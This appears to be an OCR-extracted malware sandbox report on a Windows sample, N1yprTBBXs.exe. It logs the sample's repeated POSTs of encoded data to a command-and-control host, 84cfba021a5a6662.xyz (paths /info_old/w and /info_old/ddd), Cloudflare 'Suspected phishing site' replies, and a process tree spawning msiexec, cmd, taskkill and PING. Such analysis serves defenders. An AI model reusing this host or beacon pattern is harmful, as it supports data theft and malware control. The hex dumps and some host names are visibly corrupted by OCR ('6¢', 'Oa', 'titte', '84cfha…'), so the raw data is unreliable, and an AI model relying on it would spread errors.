NEL: {"max_age":604800,"report_to":"cf-nel"}

Server: cloudflare

CF-RAY: 619462f66fe9722d-AMS

Data Raw: 31 30 64 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 21 2d 2d 5b 69 66 20 6¢ 74 20 49 45 20
37 5d 3e 20 3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22
65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20
3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55
53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d
6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6¢ 64 69 65 22 20 6¢ 61 6€ 67 3d 22 65 6e 2d 55 53 22 3e 20
3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6
d 6c 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e
64 69 66 5d 2d 2d 3e Oa 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 53 75 73 70 65 63 74 65 64 20 70 68 69 73 68 69 6e
67 20 73 69 74 65 20 7c 20 43 6¢ 6f 75 64 66 6¢ 61 72 65 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65
74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54
79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22
20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6¢ 65 22 20 63
6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d
22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6¢ 6¢ 6f 77 22 20 2f 3e Oa 3¢
6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20

Data Ascii: 10d3<!DOCTYPE html>...[if It IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html
class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site | Cloudflare</titte><me
ta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-
Compatible" content="IE=Edge,chrome=1" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport"
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kBytes

Timestamp transferred Direction
Jan 29, 2021 1191 ouT
17:39:15.366708040 CET

Jan 29, 2021 1191 ouT
17:39:15.638581038 CET

Jan 29, 2021 1192 ouT
17:39:15.951106071 CET

Jan 29, 2021 1193 ouT
17:39:16.560844898 CET

Jan 29, 2021 1211 ouT

17:39:17.779493093 CET

Copyright null 2021

Data

POST /info_old/w HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193
Safari/537.36

upgrade-insecure-requests: 1

Content-Length: 81

Host: 84cfba021a5a6662.xyz

POST /info_old/w HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193
Safari/537.36

upgrade-insecure-requests: 1

Content-Length: 81

Host: 84cfba021a5a6662.xyz

Data Raw: 69 6e 66 6f 3d 57 79 53 41 6e 62 58 6a 57 54 56 55 2d 51 62 38 74 50 46 55 69 49 63 37 71 61 73 54 53 41 70
4b 38 35 4b 2d 4a 71 42 34 57 79 32 77 30 67 6f 35 4c 5a 74 58 56 65 4c 39 39 71 72 45 30 32 4f 31 47 46 52 6a 30 50 36
5f 47 36 63 7e

Data Ascii: info=WySAnbXjWTVU-Qb8tPFUilc7qasTSApK85K-JqB4Wy2w0go5LZtXVel99qrE0201GFRjOP6_G6c~

POST /info_old/w HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193
Safari/537.36

upgrade-insecure-requests: 1

Content-Length: 81

Host: 84cfba021a5a6662.xyz

Data Raw: 69 6e 66 6f 3d 57 79 53 41 6e 62 58 6a 57 54 56 55 2d 51 62 38 74 50 46 55 69 49 63 37 71 61 73 54 53 41 70
4b 38 35 4b 2d 4a 71 42 34 57 79 32 77 30 67 6f 35 4c 5a 74 58 56 65 4c 39 39 71 72 45 30 32 4f 31 47 46 52 6a 30 50 36
5f 47 36 63 7e

Data Ascii: info=WySAnbXjWTVU-Qb8tPFUilc7qasTSApK85K-JqB4Wy2w0go5LZtXVel99qrE0201GFRjOP6_G6c~

POST /info_old/w HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193
Safari/537.36

upgrade-insecure-requests: 1

Content-Length: 81

Host: 84cfba021a5a6662.xyz

Data Raw: 69 6e 66 6f 3d 57 79 53 41 6e 62 58 6a 57 54 56 55 2d 51 62 38 74 50 46 55 69 49 63 37 71 61 73 54 53 41 70
4b 38 35 4b 2d 4a 71 42 34 57 79 32 77 30 67 6f 35 4c 5a 74 58 56 65 4c 39 39 71 72 45 30 32 4f 31 47 46 52 6a 30 50 36
5f 47 36 63 7e

Data Ascii: info=WySAnbXjWTVU-Qb8tPFUilc7qasTSApK85K-JqB4Wy2w0go5LZtXVel 99qrE0201GFRjOP6_G6c~

POST /info_old/w HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193
Safari/537.36

upgrade-insecure-requests: 1

Content-Length: 81

Host: 84cfba021a5a6662.xy

Data Raw:

Data Ascii:
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Timestamp

Jan 29, 2021
17:39:17.942154884 CET

Session ID

2

Timestamp

Jan 29, 2021
17:38:48.794128895 CET

Copyright null 2021

kBytes
transferred

1213

Source IP

192.168.2.5

kBytes
transferred

264

Direction

IN

Source Port

49722

Direction

ouT

Data

HTTP/1.1 200 OK

Date: Fri, 29 Jan 2021 16:39:17 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=dbcccb0326f30df5ee2ada287f6033e851611938357; expires=Sun, 28-Feb-21 16:39:17 GMT; path=/;
domain=.84cfba021a5a6662.xyz; HttpOnly; SameSite=Lax

X-Frame-Options: SAMEORIGIN

cf-request-id: 07f09c7a910000722de2251000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report?s=5jwELGRBcFgHzEg%2F JqjKprpf%2F17zeJUp
jwDtj4f7AAI9korLIxe%2BFfP3qD%2B0hhkFUSup%2BIKCwjgLkU2r5KVgB4uXMQIOpLdY EGOX9RKrvDOYLRSAWA%3
D%3D"}],"max_age":604800,"group":"cf-nel"}

NEL: {"max_age":604800,"report_to":"cf-nel"}

Server: cloudflare

CF-RAY: 619463705d70722d-AMS

Data Raw: 31 30 64 33 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 21 2d 2d 5b 69 66 20 6¢ 74 20 49 45 20
37 5d 3e 20 3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22
65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20
3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55
53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d
6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6¢ 64 69 65 22 20 6¢ 61 6€ 67 3d 22 65 6e 2d 55 53 22 3e 20
3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3¢ 68 74 6
d 6c 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e
64 69 66 5d 2d 2d 3e Oa 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 53 75 73 70 65 63 74 65 64 20 70 68 69 73 68 69 6e
67 20 73 69 74 65 20 7c 20 43 6¢ 6f 75 64 66 6¢ 61 72 65 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65
74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54
79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22
20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6¢ 65 22 20 63
6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d
22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6¢ 6¢ 6f 77 22 20 2f 3e Oa 3¢
6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77

Data Ascii: 10d3<!DOCTYPE html>...[if It IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html
class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site | Cloudflare</titte><me
ta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-
Compatible" content="IE=Edge,chrome=1" /><meta name="robots" content="noindex, nofollow" /><meta name="view

Destination IP Destination Port Process

104.21.23.16 80 C:\Users\user\Desktop\N1yprTBBXs.exe

Data

POST /info_old/w HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;9=0.9

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193
Safari/537.36

upgrade-insecure-requests: 1

Content-Length: 81

Host: 84cfha021a5a6662.xyz
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Timestamp

Jan 29, 2021
17:38:48.865298986 CET

Jan 29, 2021
17:38:50.929253101 CET

Jan 29, 2021
17:38:50.982594967 CET

Copyright null 2021

kBytes
transferred

266

280

281

Direction

IN

ouT

Data

HTTP/1.1 200 OK

Date: Fri, 29 Jan 2021 16:38:48 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d8ac9d532fed68827556afccc307639011611938328; expires=Sun, 28-Feb-21 16:38:48 GMT;
path=/; domain=.84cfba021a5a6662.xyz; HttpOnly; SameSite=Lax

X-Frame-Options: SAMEORIGIN

cf-request-id: 07f09c08fe00001feafe098000000001

Report-To: {"group":"cf-nel","endpoints":[{"url":"https:\/\Va.nel.cloudflare.comV/report?s=DI4Rc1p6KRg7Z6nRmR5
OluCLpeK6Ba9C7APa3fSgd2LFvwnpp8H1kTEaMT2ZTS3jWsXjOSh8zKXZBkxwIKgMtMEnbdmJbdm5L7uJVIjNjLOVD
XxINSg%3D%3D"}],"max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 619462bb39eclfea-AMS

Data Raw: 31 30 64 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 21 2d 2d 5b 69 66 20 6¢ 74 20 49 45 20
37 5d 3e 20 3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22
65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20
3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55
53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d
6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6¢ 64 69 65 22 20 6¢ 61 6€ 67 3d 22 65 6e 2d 55 53 22 3e 20
3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6
d 6c 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e
64 69 66 5d 2d 2d 3e Oa 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 53 75 73 70 65 63 74 65 64 20 70 68 69 73 68 69 6e
67 20 73 69 74 65 20 7c 20 43 6¢ 6f 75 64 66 6¢ 61 72 65 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65
74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54
79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22
20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6¢ 65 22 20 63
6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d
22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6¢ 6¢ 6f 77 22 20 2f 3e Oa 3¢
6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74

Data Ascii: 10d3<!DOCTYPE html>...[if It IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html
class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site | Cloudflare</titte><me
ta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-
Compatible" content="IE=Edge,chrome=1" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport"
cont

POST /info_old/w HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193
Safari/537.36

upgrade-insecure-requests: 1

Content-Length: 81

Host: 84cfba021a5a6662.xyz

HTTP/1.1 200 OK

Date: Fri, 29 Jan 2021 16:38:50 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d3a430303779975d28f56fa479cae297c¢1611938330; expires=Sun, 28-Feb-21 16:38:50 GMT;
path=/; domain=.84cfba021a5a6662.xyz; HttpOnly; SameSite=Lax

X-Frame-Options: SAMEORIGIN

cf-request-id: 07f09¢115600001feaf425d000000001

Report-To: {"group":"cf-nel","endpoints":[{"url":"https:\/\Va.nel.cloudflare.comV/report?s=iLw946 O TCvV%2FKGre4
D1Lw10qYGGgZ%2Fic%2F%2FD%2Bx0hox8YM5BoEh9W%2BGMzh9TfzPfOunP7rl%2F04Uq5kA%2B9ITH8LXko2fdi%2
BDPIfKL5mMXLKF5V4drTcImw%3D%3D"}],"max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 619462c88eb01fea-AMS

Data Raw: 31 30 64 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 21 2d 2d 5b 69 66 20 6¢ 74 20 49 45 20
37 5d 3e 20 3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22
65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20
3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6¢ 64 69 65 22 20 6¢ 61 6€ 67 3d 22 65 6e 2d 55
53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d
6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6¢ 64 69 65 22 20 6¢ 61 6€ 67 3d 22 65 6e 2d 55 53 22 3e 20
3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3¢ 68 74 6
d 6c 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e
64 69 66 5d 2d 2d 3e Oa 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 53 75 73 70 65 63 74 65 64 20 70 68 69 73 68 69 6e
67 20 73 69 74 65 20 7c 20 43 6¢ 6f 75 64 66 6¢ 61 72 65 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65
74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54
79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22
20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6¢ 65 22 20 63
6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d
22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6¢ 6¢ 6f 77 22 20 2f 3e 0a 3¢
6d 65 74 61 20 6e 61

Data Ascii: 10d3<!DOCTYPE html>...[if It IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html
class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site | Cloudflare</titte><me
ta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-
Compatible" content="IE=Edge,chrome=1" /><meta name="robots" content="noindex, nofollow" /><meta na
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Session ID Source IP

3 192.168.2.5
kBytes

Timestamp transferred

Jan 29, 2021 1263

17:39:24.107032061 CET

Jan 29, 2021 1265

17:39:24.218722105 CET

Code Manipulations

Statistics

Behavior

Copyright null 2021

Source Port

49730

Direction

ouT

Destination IP Destination Port Process

104.21.23.16 80 C:\Users\user\Desktop\N1yprTBBXs.exe

Data

GET /info_old/ddd HTTP/1.1
Host: 84CFBA021A5A6662.xyz
Accept: */*

HTTP/1.1 200 OK

Date: Fri, 29 Jan 2021 16:39:24 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d25830c08c40ffcal02def47d10d59d851611938364; expires=Sun, 28-Feb-21 16:39:24 GMT;

path=/; domain=.84cfba021a5a6662.xyz; HttpOnly; SameSite=Lax

X-Frame-Options: SAMEORIGIN

cf-request-id: 07f09c92f100004c5b9b35a000000001

Report-To: {"endpoints":[{"url":"https:V\V/a.nel.cloudflare.comVreport?s=PzK5Mu7m3K5kCq%2BSGTJKpzkxGNnGcl2gZW
oUayDxEDseCC%2BaipUH6ykDhQKqJyMHha2YAkvP9T%2BTj9AKvV%2FcX2CtqylPHVQ]YvEDKkKcnEf7GpNQuUCcA%3D%
3D"}],"group”:"cf-nel","max_age":604800}

NEL: {"max_age":604800,"report_to":"cf-nel"}

Server: cloudflare

CF-RAY: 61946397ed9e4c5b-AMS

Data Raw: 31 30 64 35 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e Oa 3c 21 2d 2d 5b 69 66 20 6¢ 74 20 49 45 20
37 5d 3e 20 3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22
65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e Oa 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20
3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55
53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e Oa 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d
6c 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20
3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e Oa 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3¢ 68 74 6
d 6c 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3¢ 21 2d 2d 3c 21 5b 65 6e
64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 53 75 73 70 65 63 74 65 64 20 70 68 69 73 68 69 6e
67 20 73 69 74 65 20 7c 20 43 6¢ 6f 75 64 66 6¢ 61 72 65 3c 2f 74 69 74 6¢ 65 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65
74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54
79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22
20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6¢ 65 22 20 63
6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d
22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6¢ 6¢ 6f 77 22 20 2f 3e Oa 3¢
6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f

Data Ascii: 10d5<!DOCTYPE html>...[if It IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html
class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site | Cloudflare</titte><me
ta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-
Compatible" content="IE=Edge,chrome=1" /><meta name="robots" content="noindex, nofollow" /><meta name="viewpo

@ N1lyprTBBXs.exe

@ msiexec.exe

@ 6272167835D47591.exe
@ msiexec.exe

@ 6272167835D47591.exe
@ cmd.exe

@ conhost.exe

® PING.EXE

©® 1611970727133.exe

® cmd.exe

@ conhost.exe

® cmd.exe

@ taskkill.exe

@ conhost.exe

® PING.EXE

@ ThunderFW.exe

® cmd.exe

@ conhost.exe

® PING.EXE
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o)

System Behavior

Click to jump to process

Analysis Process: N1yprTBBXs.exe PID: 6476 Parent PID: 5648

